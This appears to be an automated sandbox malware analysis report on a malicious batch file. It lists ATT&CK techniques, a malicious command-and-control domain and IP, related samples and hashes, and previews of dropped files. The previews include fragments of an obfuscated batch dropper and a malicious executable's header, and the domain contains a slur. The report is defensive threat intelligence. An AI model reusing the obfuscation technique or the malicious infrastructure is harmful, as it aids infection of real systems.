Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Obfuscated Files or Information	11 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	713 Process Injection	1 Install Root Certificate	Security Account Manager	122 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	11 Scheduled Task/Job	1 Timestomp	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 File Deletion	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	131 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	713 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	2 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
x.bat	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\$nya-onimai2\IfMUlU.exe	100%	Joe Sandbox ML
C:\Windows\$nya-onimai2\IfMUlU.exe	5%	ReversingLabs

Source	Detection	Scanner	Label
https://word.office.comSRD1#	0%	Avira URL Cloud	safe
https://powerpoint.office.comSRD13	0%	Avira URL Cloud	safe
https://powerpoint.office.com%	0%	Avira URL Cloud	safe
https://outlook.comSRD1-	0%	Avira URL Cloud	safe
https://excel.office.comSRD1%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
iam.nigga.dad	103.230.121.81	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://word.office.com	svchost.exe, 00000031.00000000.2219839835.0000020D264CE000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.com%	svchost.exe, 00000031.00000002.2309382553.0000020D25613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2210065535.0000020D25613000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq	Microsoft-Windows-PushNotification-Platform%4Operational.evtx.26.dr	false		high
https://aka.ms/pscore6	powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp, Null.5.dr, Null.28.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.com	svchost.exe, 00000031.00000000.2210065535.0000020D25613000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	svchost.exe, 0000001D.00000002.2312973165.00000241A96E0000.00000002.00000001.00040000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6xG_	powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2296144477.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comSRD1%	svchost.exe, 00000031.00000002.2367360741.0000020D260D8000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2309382553.0000020D25613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2214085696.0000020D26029000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2210065535.0000020D25613000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comSRD13	svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2383762701.0000020D26586000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2384491857.0000020D265BD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2221218953.0000020D265BD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.comSRD1-	svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2383762701.0000020D26586000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.comSRD1#	svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2383762701.0000020D26586000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2210283099.0000020D25681000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2316304169.0000020D25681000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2296144477.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.230.121.81	iam.nigga.dad	Hong Kong		62468	VPSQUANUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574678
Start date and time:	2024-12-13 13:38:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	30
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Critical Process Termination
Sample name:	x.bat
Detection:	MAL
Classification:	mal100.spyw.evad.winBAT@34/71@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 60 Number of non-executed functions: 333
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63, 20.190.147.5, 20.42.73.29
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: x.bat

Simulations

Behavior and APIs

Time	Type	Description
07:39:58	API Interceptor	2x Sleep call for process: WMIC.exe modified
07:40:01	API Interceptor	87x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
103.230.121.81	product.bat	Get hash	malicious	Unknown	Browse
	test.exe	Get hash	malicious	Unknown	Browse
	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
iam.nigga.dad	product.bat	Get hash	malicious	Unknown	Browse	103.230.121.81
	test.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	103.230.121.81

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VPSQUANUS	product.bat	Get hash	malicious	Unknown	Browse	103.230.121.81
	test.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	103.230.121.81
	rebirth.dbg.elf	Get hash	malicious	Mirai, Okiru	Browse	103.252.20.25
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	103.122.177.128
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	154.91.52.33
	file.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	file.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	word.exe	Get hash	malicious	XWorm	Browse	103.230.121.124
	svchost.exe	Get hash	malicious	XWorm	Browse	103.230.121.124

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\$nya-onimai2\IfMUlU.exe	product.bat	Get hash	malicious	Unknown	Browse
	Hydra.ccLoader.bat	Get hash	malicious	Unknown	Browse
	NhoqAfkhHL.bat	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9713
Entropy (8bit):	4.940954773740904
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smu9:9rib4ZIkjh4iUxsNYW6Ypib47
MD5:	BA7C69EBE30EC7DA697D2772E36A746D
SHA1:	DA93AC7ADC6DE8CFFED4178E1F98F0D0590EA359
SHA-256:	CFCE399DF5BE3266219AA12FB6890C6EEFDA46D6279A0DD90E82A970149C5639
SHA-512:	E0AFE4DF389A060EFDACF5E78BA6419CECDFC674AA5F201C458D517C20CB50B70CD8A4EB23B18C0645BDC7E9F326CCC668E8BADE803DED41FCDA2AE1650B31E8
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2892
Entropy (8bit):	5.437969087793142
Encrypted:	false
SSDEEP:	48:oizsSU4y4RQmFoUL5a+m9qr9t5/78NWR8lgxJZKaVEouYAgwd64rHLjtvk:oizlHyIFKEg9qrh7KWBJ5Eo9Adrxk
MD5:	F187E059B6AB94D3F218253CA180C199
SHA1:	20203FAC2034CC4A6F3E0119DC02B9CACEF2973C
SHA-256:	238A0A4F0560A22C11544F0312F7EB787D4B5C60994C6B0904487045CB410AA0
SHA-512:	5BFC8D7159ADC154ECDBC2B8EC716277FEA72E1573C362BF84208AC36056E1FC864636C882C3C272AF9C5F9F7B1E1E56D1DB671A7B01A490040E652850331B0F
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.<...............i..VdqF...\|...........System.Configuration4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yuu5lfh.tsj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lborm240.t4d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5zsrksq.1t3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ytqwpru5.za0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\$nya-onimai2\$nya-Onimai.bat (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (3511), with CRLF line terminators
Category:	dropped
Size (bytes):	7312129
Entropy (8bit):	6.017050343783169
Encrypted:	false
SSDEEP:	49152:wDYqqQ9PgglFCYjq3HsyU+CwUp7B+Li23ovqJ+dwvnP/SRqRIEIS1x3KMb/ASHc0:h
MD5:	3839596A3F33711ABCE263E7D890B2E9
SHA1:	185A35A99A20422843725342C374EBAE76B76FDC
SHA-256:	AC0C9AD2975E52B69068D331E25C0F7E1AAA2976651794B1EEADF5A3529BCAF0
SHA-512:	D00D7BB5F7CDBEA678B03A312DF249F2F7550462A7E81151E7DB960C8F05D61D91B4BA03F89BF107D8419540897B056408FD21A68B408F122AA9906A9A1F348A
Malicious:	false
Preview:	@echo off..%RKvQjzEhGUtCzoCqSvuaYKSBifusrwnQWHuUlxqUJiLDfoFwJELgAXS%@%RUIeelQjHDGRTIeuf%%rQZpvTzYIMLgqYPncrPlPyrBWCIOCbzqbZGbh%e%yOFfDdyAmHcGFNFTLTyysTlLwGnufqsNfzSaGJUo%%wpaMVvMLhoND%c%kEDUJWQeuVpoBfUEmcYkvVDkYAlAJXcEkvpnwMZYxXbuKxu%%RgUmPsnobsViLpvxSKdfQHiAca%h%yUjzBgVJCcQPRiameRRnhCEBaupzkYukOGPuRTtcPGSucUlXPu%%IkNEWpIzhQwzEI%o%alsGvlxPxBJkyfisJPUMZbbTejtmlthoMwTZEjZSkvp%%mfjtYyMJKVGZk% %BmRlEduvybliNAQbBEMYGZZZnNGxEQQUPfHM%%ZRmJRHhiQKm%o%ItbnmSCmRXRwWRHlqtISdZCNzoPrRRxcuFVwOHDneAkbZPNaaWRxctPIR%%NXclvZAOcqVkwIQvODPANKBPr%f%aaaaPmFAUFkTekBlMwePziHGFlTqAcwnTAZzNbBJFWOklVyFZCYfKCvRttv%%spZSjWZEkbxKVukDuwvJNnqYeqCreiguFWqpXVboW%f%vXenjqsSxWYMRfYaNStHzbUdfYdUGyuhNTSsURgmZmLkwTflrWhiUoutdb%..%lmylYBQYXmFgWLhImq%s%HlSRCKqmmyyypSJVZBbNIFUhYLPlxNFhdstWsuVBHpEAzNqn%%QihlDbcqLSRUfOzSrvWzMCE%e%zfsbuIlvBYHFyVzrrGHBdHCAeHhstOAnDBMyIbVcHwth%%UuwVFhgVcCSCRWNBT%t%MxtbXibIqKF%%HovtkmLwOHtsBYUVQeiBOuGJNTwnTXRwqiVDhyMAQwnfdbAYogRlBefmIL%l%rPyCQQXcsdqNssHLsgAFLsyYNgFUmcIVvSuLrUwpgZh%%XsyTUsNghfUYrzOKkc

C:\Windows\$nya-onimai2\IfMUlU.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	4.3900594222407125
Encrypted:	false
SSDEEP:	384:VZCSSrPcfu1FIyBl3pdSRf+yTq5+9f2sMbRAxzQ1yTkepoeL80bk20OzSIS+gL0i:VZArPDDIulZdSRWfY9f/hngDU2/t7
MD5:	B943A57BDF1BBD9C33AB0D33FF885983
SHA1:	1CEE65EEA1AB27EAE9108C081E18A50678BD5CDC
SHA-256:	878DF6F755578E2E79D0E6FD350F5B4430E0E42BB4BC8757AFB97999BC405BA4
SHA-512:	CB7253DE88BD351F8BCB5DC0B5760D3D2875D39F601396A4250E06EAD9E7EDEFFCD94FA23F392833F450C983A246952F2BAD3A40F84AFF2ADC0F7D0EB408D03C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: product.bat, Detection: malicious, Browse Filename: Hydra.ccLoader.bat, Detection: malicious, Browse Filename: NhoqAfkhHL.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...GB..........."...0.................. ....@...... ....................................`...@......@............... ............................................................................................................................... ..H............text........ ...................... ..`.rsrc...............................@..@........................................H......................................................................ga..G..I..6..+......6.2..5.tK@.g1.9.....Q...@a..W1...}.... .d......</.X....m..Zg.."."^.F..0......G.c.....(D..(....G...u.KM...........D.\|/..J3....?.vMl.-.P...)...RZ..-....\|.0.x.....D.....>...G...C..e.....IZem...s....\|.l~.c........<d...y.W..E..2.&c\z..Z.......................................................................................%%........;m2....2m;............................................

C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with very long lines (3511), with CRLF line terminators
Category:	dropped
Size (bytes):	7312129
Entropy (8bit):	6.017050343783169
Encrypted:	false
SSDEEP:	49152:wDYqqQ9PgglFCYjq3HsyU+CwUp7B+Li23ovqJ+dwvnP/SRqRIEIS1x3KMb/ASHc0:h
MD5:	3839596A3F33711ABCE263E7D890B2E9
SHA1:	185A35A99A20422843725342C374EBAE76B76FDC
SHA-256:	AC0C9AD2975E52B69068D331E25C0F7E1AAA2976651794B1EEADF5A3529BCAF0
SHA-512:	D00D7BB5F7CDBEA678B03A312DF249F2F7550462A7E81151E7DB960C8F05D61D91B4BA03F89BF107D8419540897B056408FD21A68B408F122AA9906A9A1F348A
Malicious:	true
Preview:	@echo off..%RKvQjzEhGUtCzoCqSvuaYKSBifusrwnQWHuUlxqUJiLDfoFwJELgAXS%@%RUIeelQjHDGRTIeuf%%rQZpvTzYIMLgqYPncrPlPyrBWCIOCbzqbZGbh%e%yOFfDdyAmHcGFNFTLTyysTlLwGnufqsNfzSaGJUo%%wpaMVvMLhoND%c%kEDUJWQeuVpoBfUEmcYkvVDkYAlAJXcEkvpnwMZYxXbuKxu%%RgUmPsnobsViLpvxSKdfQHiAca%h%yUjzBgVJCcQPRiameRRnhCEBaupzkYukOGPuRTtcPGSucUlXPu%%IkNEWpIzhQwzEI%o%alsGvlxPxBJkyfisJPUMZbbTejtmlthoMwTZEjZSkvp%%mfjtYyMJKVGZk% 